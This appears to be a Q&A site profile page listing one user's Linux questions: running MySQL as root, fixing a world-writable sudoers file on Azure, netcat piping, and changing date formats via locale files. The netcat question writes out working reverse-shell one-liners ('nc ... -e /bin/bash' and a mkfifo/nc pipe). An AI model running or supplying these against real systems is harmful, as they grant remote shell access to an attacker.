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Gowtham's questions

Martin Hope
Gowtham
Asked: 2021-05-26 07:56:30 +0800 CST
  • 0

I wanted to run mysqld as the root user.

I'm running Ubuntu 21.04 and have installed mysql-server.

MySQL version:

mysql  Ver 8.0.25-0ubuntu0.21.04.1 for Linux on x86_64 ((Ubuntu))

Changing the file ownership to root

chown -R root /var/lib/mysql

/etc/mysql/mysql.conf.d/mysqld.cnf

[mysqld]
user        = root
pid-file    = /var/run/mysqld/mysqld.pid
socket  = /var/run/mysqld/mysqld.sock
port        = 3306
datadir = /var/lib/mysql

When I start the MySQL service via:

sudo service mysql start

I am getting an error:

mysql.service - MySQL Community Server
     Loaded: loaded (/lib/systemd/system/mysql.service; enabled; vendor preset: enabled)
     Active: failed (Result: exit-code) since Tue 2021-05-25 08:29:56 PDT; 23s ago
    Process: 2413 ExecStartPre=/usr/share/mysql/mysql-systemd-start pre (code=exited, status=0/SUCCESS)
    Process: 2421 ExecStart=/usr/sbin/mysqld (code=exited, status=1/FAILURE)
   Main PID: 2421 (code=exited, status=1/FAILURE)
     Status: "Server startup in progress"
      Error: 13 (Permission denied)

However, if I change the file permissions of /var/lib/mysql back to the mysql user, the service starts.

Please let me know the solution for how I can run this as root.

If I am doing anything wrong please suggest clear steps.

Ref: [1]: https://dev.mysql.com/doc/refman/8.0/en/changing-mysql-user.html

20.04
Martin Hope
Gowtham
Asked: 2019-07-17 00:16:07 +0800 CST
  • 2

Although there are many answers to this problem, the scenario is different here:

I’m using Ubuntu 18.04 on Azure.

By mistake, I made sudoers file world-writable (sudo chmod o+w /etc/sudoers). There is an appropriate way to fix. For this, I need an Ubuntu user’s password

output:-

ubuntu@azurevm:~$ ls -la /etc/sudoers
-r--r---w- 1 root root 755 Jan 18  2018 /etc/sudoers
ubuntu@azurevm:~$ 
ubuntu@azurevm-VM:~$ 
ubuntu@azurevm:~$ 
ubuntu@azurevm:~$ pkexec chmod 0755 /etc/sudoers
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/chmod' as the super user
Authenticating as: Ubuntu (ubuntu)
Password: 
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

This incident has been reported.
ubuntu@azurevm:~$ uname -a
Linux azurevm 4.18.0-1018-azure #18~18.04.1-Ubuntu SMP Tue May 7 18:09:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

whereas the authentication mode chosen while deploying VM was SSH-based. There are other ways to fix. Neither I couldn't reset the password for ubuntu nor the azure CLI is accessible.

Let me know how I can fix this or if you need further information on this.

permissions cloud password sudo azure
Martin Hope
Gowtham
Asked: 2019-03-21 21:47:12 +0800 CST
  • 6

There was a simple way to connect two systems and getting a shell using nc command as below.

machine A to listen

nc -nlvp 4444

machine B to connect

nc 192.168.4.4 4444 -e /bin/bash

However the -e option is no more, The man pages recommends to follow as below to execute commands

machine A to listen

nc -nlvp 4444

machine B to connect

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f

I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.

networking command-line bash pipe netcat
Martin Hope
Gowtham
Asked: 2018-08-21 00:58:24 +0800 CST
  • -1

I've been trying to change the default date format since past few days.

Current format:-

$date
Mon Aug 20 14:14:43 IST 2018

Expected format:-

$date
Monday August 20 14:14:43 IST 2018

Current locale 

$locale

LANG=en_IN
LANGUAGE=
LC_CTYPE=en_IN
LC_NUMERIC="en_IN"
LC_TIME=en_DK
LC_COLLATE="en_IN"
LC_MONETARY="en_IN"
LC_MESSAGES="en_IN"
LC_PAPER="en_IN"
LC_NAME="en_IN"
LC_ADDRESS="en_IN"
LC_TELEPHONE="en_IN"
LC_MEASUREMENT="en_IN"
LC_IDENTIFICATION="en_IN"
LC_ALL=

LC_TIME section in /usr/share/i18n/locales/en_DK 

% date formats following ISO 8601-1988
d_t_fmt  "<U0025><U0059><U002D><U0025><U006D><U002D><U0025><U0064><U0054><U0025><U0054><U0020><U0025><U005A>"
d_fmt    "<U0025><U0059><U002D><U0025><U006D><U002D><U0025><U0064>"
t_fmt    "<U0025><U0054>"
am_pm    "";""
t_fmt_ampm  ""

% Appropriate date representation (date(1))   "%a %b %e %H:%M:%S %Z %Y"
date_fmt    "<U0025><U0061><U0020><U0025><U0062><U0020><U0025><U0065>/
<U0020><U0025><U0048><U003A><U0025><U004D><U003A><U0025><U0053><U0020>/
<U0025><U005A><U0020><U0025><U0059>"

I have referred this tutorial which I have come across to be the best and lengthy enough to be clear.

I'm using Ubuntu 16.04 stretch. I need to modify this en_DK file or create a custom locale that suits my need. Although there are several workarounds like creating aliases. But I prefer to know what is going wrong.

server locale date
Martin Hope
Gowtham
Asked: 2018-08-11 05:04:13 +0800 CST
  • 2

How do I change the format of date command by modifying LC_TIME in locale?

Currently the day of month uses %e format. I need it to be displayed in %d format.

Below is the Current Format:

#date
Thu Aug 9 18:26:11 IST 2018

Expected format:

#date
Thu Aug 09 18:26:11 IST 2018

Here is my locale:

#locale
LANG=en_US.UTF-8
LANGUAGE=
LC_CTYPE=en_IN
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="en_US.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="en_US.UTF-8"
LC_TELEPHONE="en_US.UTF-8"
LC_MEASUREMENT="en_US.UTF-8"
LC_IDENTIFICATION="en_US.UTF-8"
LC_ALL=

LC_TIME section in /usr/share/i18n/locales/en_US:

    LC_TIME
abday   "Sun";"Mon";"Tue";"Wed";"Thu";"Fri";"Sat"
day "Sunday";/
    "Monday";/
    "Tuesday";/
    "Wednesday";/
    "Thursday";/
    "Friday";/
    "Saturday"

week 7;19971130;1
abmon   "Jan";"Feb";/
    "Mar";"Apr";/
    "May";"Jun";/
    "Jul";"Aug";/
    "Sep";"Oct";/
    "Nov";"Dec"
mon "January";/
    "February";/
    "March";/
    "April";/
    "May";/
    "June";/
    "July";/
    "August";/
    "September";/
    "October";/
    "November";/
    "December"
% Appropriate date and time representation (%c)
d_t_fmt "%a %d %b %Y %r %Z"
%
% Appropriate date representation (%x)
d_fmt   "%m//%d//%Y"
%
% Appropriate time representation (%X)
t_fmt   "%r"
%
% Appropriate AM/PM time representation (%r)
t_fmt_ampm "%I:%M:%S %p"
%
% Strings for AM/PM
%
am_pm   "AM";"PM"
date_fmt "%F %Z"
END LC_TIME

Please let me know what I can do in order to get the expected format.

NOTE: I need to execute just date command without any formatting options.

command-line locale coreutils date